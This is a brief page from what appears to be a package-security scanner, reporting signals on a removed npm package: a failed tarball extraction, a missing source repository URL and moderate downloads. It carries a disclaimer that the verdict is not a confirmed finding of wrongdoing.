HIGHNPM_TARBALL_EXTRACTION_FAILED: unexpected end of data
INFOModerate community usage with 262 monthly downloads.

Static code signals:

MISSING_SOURCE_REPOSITORY_URL
NPM_TARBALL_EXTRACTION_FAILED: unexpected end of data

The verdict reflects what our detector observed before the package came down, not a confirmed determination of wrongdoing.

Confirm removal on npm →

SHARE INTELLIGENCE WIRE